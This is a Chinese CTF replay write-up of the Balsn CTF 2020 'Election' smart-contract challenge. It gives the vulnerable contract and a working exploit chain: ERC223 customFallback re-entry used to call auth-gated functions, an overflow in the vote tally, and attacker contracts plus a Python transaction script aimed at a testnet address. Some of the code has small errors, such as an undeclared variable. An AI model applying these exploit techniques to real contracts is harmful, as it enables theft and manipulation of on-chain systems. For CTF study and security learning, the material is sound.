Balsn CTF 2020 - Election 复现笔记

Balsn CTF 2020 - Election

Retr_0师傅这周准备复现2020 Balsn的智能合约赛题,我也跟着学习一波。

Balsn出品,必属精品。作者的wp

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
pragma solidity =0.6.12;
pragma experimental ABIEncoderV2;

interface IERC223 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
function transfer(address to, uint value, bytes memory data) external returns (bool);
function transfer(address to, uint value, bytes memory data, string memory customFallback) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}

contract ERC223 is IERC223 {
string public override name; // 0
string public override symbol; // 1
uint8 public override decimals; // 2
uint public override totalSupply; // 3
mapping (address => uint) private _balances; // 4
string private constant _tokenFallback = "tokenFallback(address,uint256,bytes)"; // opt out

constructor (string memory _name, string memory _symbol) public {
name = _name;
symbol = _symbol;
decimals = 18;
}

function balanceOf(address account) public view override returns (uint) {
return _balances[account];
}

function transfer(address to, uint value) public override returns (bool) {
return _transfer(msg.sender, to, value, "", _tokenFallback);
}

function transfer(address to, uint value, bytes memory data) public override returns (bool) {
return _transfer(msg.sender, to, value, data, _tokenFallback);
}

function transfer(address to, uint value, bytes memory data, string memory customFallback) public override returns (bool) {
return _transfer(msg.sender, to, value, data, customFallback);
}

/* Helper functions */
function _transfer(address from, address to, uint value, bytes memory data, string memory customFallback) internal returns (bool) {
require(from != address(0), "ERC223: transfer from the zero address");
require(to != address(0), "ERC223: transfer to the zero address");
require(_balances[from] >= value, "ERC223: transfer amount exceeds balance");
_balances[from] -= value;
_balances[to] += value;

if (_isContract(to)) { // to : this
(bool success,) = to.call{value: 0}(
abi.encodeWithSignature(customFallback, msg.sender, value, data)
);
assert(success);
}
emit Transfer(msg.sender, to, value, data);
return true;
}

function _mint(address to, uint value) internal {
require(to != address(0), "ERC223: mint to the zero address");
totalSupply += value;
_balances[to] += value;
emit Transfer(address(0), to, value, "");
}

function _isContract(address addr) internal view returns (bool) {
uint length;
assembly {
length := extcodesize(addr)
}
return (length > 0);
}
}

contract Election is ERC223 {
struct Proposal {
string name;
string policies;
bool valid;
}
struct Ballot {
address candidate;
uint votes;
}

uint randomNumber = RN; // 5
bool public sendFlag = false; // 6_0_1
address public owner; // 6_1_21
uint public stage; // 7
address[] public candidates; // 8
bytes32[] public voteHashes; // 9
mapping(address => Proposal) public proposals; // 10
mapping(address => uint) public voteCount; // 11
mapping(address => bool) public voted; // 12
mapping(address => bool) public revealed; // 13

event Propose(address, Proposal);
event Vote(bytes32);
event Reveal(uint, Ballot[]);
event SendFlag(address);

constructor() public ERC223("Election", "ELC") {
owner = msg.sender;
_setup();
}

modifier auth {
require(msg.sender == address(this) || msg.sender == owner, "Election: not authorized");
_;
}

function propose(address candidate, Proposal memory proposal) public auth returns (uint) {
require(stage == 0, "Election: stage incorrect");
require(!proposals[candidate].valid, "Election: candidate already proposed");
candidates.push(candidate);
proposals[candidate] = proposal;
emit Propose(candidate, proposal);
return candidates.length - 1;
}

function vote(bytes32 voteHash) public returns (uint) {
require(stage == 1, "Election: stage incorrect");
require(!voted[msg.sender], "Election: already voted");
voted[msg.sender] = true;
voteHashes.push(voteHash);
emit Vote(voteHash);
return voteHashes.length - 1;
}

function reveal(uint voteHashID, Ballot[] memory ballots) public {
require(stage == 2, "Election: stage incorrect");
require(!revealed[msg.sender], "Election: already revealed");
require(voteHashes[voteHashID] == keccak256(abi.encode(ballots)), "Election: hash incorrect");
revealed[msg.sender] = true;

uint totalVotes = 0;
for (uint i = 0; i < ballots.length; i++) {
address candidate = ballots[i].candidate;
uint votes = ballots[i].votes;
totalVotes += votes;
voteCount[candidate] += votes;
}
require(totalVotes <= balanceOf(msg.sender), "Election: insufficient tokens");
emit Reveal(voteHashID, ballots);
}

function getWinner() public view returns (address) {
require(stage == 3, "Election: stage incorrect");
uint maxVotes = 0;
address winner = address(0);
for (uint i = 0; i < candidates.length; i++) {
if (voteCount[candidates[i]] > maxVotes) {
maxVotes = voteCount[candidates[i]];
winner = candidates[i];
}
}
return winner;
}

function giveMeMoney() public {
require(balanceOf(msg.sender) == 0, "Election: you're too greedy");
_mint(msg.sender, 1);
}

function giveMeFlag() public {
require(msg.sender == getWinner(), "Election: you're not the winner");
require(proposals[msg.sender].valid, "Election: no proposal from candidate");
if (_stringCompare(proposals[msg.sender].policies, "Give me the flag, please")) {
sendFlag = true;
emit SendFlag(msg.sender);
}
}

/* Helper functions */
function _setup() public auth {
address Alice = address(0x9453);
address Bob = address(0x9487);
_setStage(0);
propose(Alice, Proposal("Alice", "This is Alice", true));
propose(Bob, Proposal("Bob", "This is Bob", true));
voteCount[Alice] = uint(-0x9453);
voteCount[Bob] = uint(-0x9487);
_setStage(1);
}

function _setStage(uint _stage) public auth {
stage = _stage & 0xff;
}

function _stringCompare(string memory a, string memory b) internal pure returns (bool) {
return keccak256(abi.encodePacked(a)) == keccak256(abi.encodePacked(b));
}
}

源码分析

源码拿到手看起来比较长,从第一眼开始就出现了非常多不太熟的东西。

首先是继承SolidityC++一样允许多继承。

然后就是接口关键字interface,接口其实就是更加严格的抽象类,并且接口自己不能够实现任何具体的函数,所有函数的可视范围都必须是external。理解成一个基类就可以了。

Solidity不允许自动覆盖父类成员或者函数,必须要手动使用override关键字指明;只有标为virtual的函数可以被子类覆盖。

认识了一个新的标准ERC233,这个ERC233特别之处在于允许转账发起方去调用转账接受方的一个任意的方法。emmm这就让我想到了可以重入合约自身了。不过限制肯定是有的,就是要自己手动布局calldata的位置。重入用到的代码片段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function transfer(
address to,
uint value,
bytes memory data,
string memory customFallback -> string for function selector to call
) public override returns (bool)
{
return _transfer(msg.sender, to, value, data, customFallback);
}

function _transfer(
address from,
address to,
uint value,
bytes memory data,
string memory customFallback
) internal returns (bool) {
require(from != address(0), "ERC223: transfer from the zero address");
require(to != address(0), "ERC223: transfer to the zero address");
require(_balances[from] >= value, "ERC223: transfer amount exceeds balance");
_balances[from] -= value;
_balances[to] += value;

if (_isContract(to)) { // to : this
(bool success,) = to.call{value: 0}(
abi.encodeWithSignature(customFallback, msg.sender, value, data)
);
assert(success);
}
emit Transfer(msg.sender, to, value, data);
return true;
}

为了调用giveMeFlag函数,必须要自己成为winner,也就是需要propose自己并且让自己获得最多的选票。

除了使用重入之外还需要配合reveal函数中的一个整数溢出漏洞,获得uint(-1)的选票从而成为winner。

攻击步骤

  1. 准备三个后缀的账户:0x00(for propose) 0x01(for vote) 0x02(for reveal) 0x03(for getwinner), 默认的状态是0x01,所以1这个账户就不用准备了。
  2. 让attacker拥有至少0x40的token,调用giveMeMoney函数然后使用transfer转给attacker即可,循环0x40次。
  3. 趁着state为1的状态先构造好Ballots的hash,Ballot是一个两个元素的数组,第一个地址为attacker,votes为0xffff..fff,第二个地址为0(随便填),votes为1,计算好这个结构的hash值。用attacker去vote就可以。
  4. 构造payload去调用一次propose,把attacker propose成一个合法的candidate,需要提前将state置为0,
  5. 改变state的状态的话用先前准备好的3个账户去调用transfer即可,value置为0即可,不需要提前持有token。
  6. 把状态重置为0,调用propose
  7. 改变至状态2,调用reveal
  8. 改变至状态3,调用getwinner

准备账户

生成指定后缀的账户

1
2
3
4
5
6
7
8
9
10
11
12
13
import blocksmith
from Crypto.Hash import keccak

while True:
kg = blocksmith.KeyGenerator()
kg.seed_input('')
key = kg.generate_key()
address = blocksmith.EthereumWallet.generate_address(key)
checksum_address = blocksmith.EthereumWallet.checksum_address(address)
if checksum_address[-2:] == '03':
print(checksum_address)
print(key)
break

目标合约 0xb058c67D419c02824b5e4300aE7b07562C217f21 (rinkeby)

Attacker 0x9B3754c0a0798aDe51e98c7a81aE73aAcf9C2e5F

不同后缀的账户用来切换状态:

  • 0xD5dc41C62F613028812F73dD8C1912DEaD529e00
  • 0x0e68B1f3bFFFa170384614D1AFd0Ea3e119B6502
  • 0x705cb7BaeE83E1bA572d4Ff1E9c56319e65Eb003

为Attacker筹集足够的ELC tokens

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.8.0;

struct Ballot {
address candidate;
uint votes;
}

interface Election {
function transfer(address to, uint value) external returns (bool);
function transfer(address to, uint value, bytes memory data, string memory customFallback) external returns (bool);
function giveMeMoney() external;
function vote(bytes32 voteHash) external returns (uint);
function reveal(uint voteHashID, Ballot[] memory ballots) external;
}

contract Hacker {
Election target = Election(0xb058c67D419c02824b5e4300aE7b07562C217f21);

constructor() {
for (uint i = 0; i < 0x40; i ++) {
target.giveMeMoney();
target.transfer(attacker, 1);
}
selfdestruct(payable(0));
}
}

在默认状态下Vote for Attacker

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
contract Hacker2 {
Election target = Election(0xb058c67D419c02824b5e4300aE7b07562C217f21);
address attacker = 0x9B3754c0a0798aDe51e98c7a81aE73aAcf9C2e5F;

constructor() {
Ballot[] memory ballots = new Ballot[](2);
ballots[0].candidate = attacker;
ballots[0].votes = uint(int(-1));
ballots[1].candidate = address(0x0);
ballots[1].votes = 1;
bytes32 res = keccak256(abi.encode(ballots));
require(res == hex'bbb3905b8070ae07179c384b0a2a5eb3d9c89091e5091188a7afc1049ff12fae', "0ops something wrong !");
target.vote(res);
selfdestruct(payable(attacker));
}
}

切换至状态0,propose

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from web3.auto.infura.rinkeby import w3
from eth_abi import encode_abi

# private = 'ommited ^ ^'
public = '0x9B3754c0a0798aDe51e98c7a81aE73aAcf9C2e5F'
target = '0xb058c67D419c02824b5e4300aE7b07562C217f21'

def get_txn(src, dst, data, value=0):
return {
"from": src,
"to": dst,
"gasPrice": w3.toWei(1,'gwei'),
"gas": 0x32185,
"value": w3.toWei(value,'wei'),
"nonce": w3.eth.getTransactionCount(src),
"data": data
}


to = target
value = 0x40

# contruct data
slot0 = b'\x01'.rjust(0x20,b'\x00')

name = b'Ainevsia'
slot1 = len(name).to_bytes(1,'little').rjust(0x20,b'\x00')
slot2 = name.ljust(0x20,b'\x00')

slogan= b'Give me the flag, please'
slot3 = len(slogan).to_bytes(1,'little').rjust(0x20,b'\x00')
slot4 = slogan.ljust(0x20,b'\x00')

data=(slot0+slot1+slot2+slot3+slot4)

assert len(data) == 0xa0

customFallback = "propose(address,(string,string,bool))"
parm = encode_abi(['address', 'uint256', 'bytes', 'string'], [to, value, data, customFallback])

sel = w3.keccak(b'transfer(address,uint256,bytes,string)')[:4]
data = sel + parm


signed_txn = w3.eth.account.signTransaction(get_txn(public, target, data), private)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
print(txn_hash)
txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
print(txn_receipt)
print('[+] OK')

切换至状态2,reveal votes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

contract Hacker3 {
Election target = Election(0xb058c67D419c02824b5e4300aE7b07562C217f21);

constructor() {
Ballot[] memory ballots = new Ballot[](2);
ballots[0].candidate = 0x9B3754c0a0798aDe51e98c7a81aE73aAcf9C2e5F;
ballots[0].votes = uint(int(-1));
ballots[1].candidate = address(0x0);
ballots[1].votes = 1;
bytes32 res = keccak256(abi.encode(ballots));
require(res == hex'bbb3905b8070ae07179c384b0a2a5eb3d9c89091e5091188a7afc1049ff12fae');
target.reveal(0, ballots);
selfdestruct(payable(0));
}

}

切换至状态3,getwiner

总结

涉及到ABI,还需要多多熟悉才能掌握。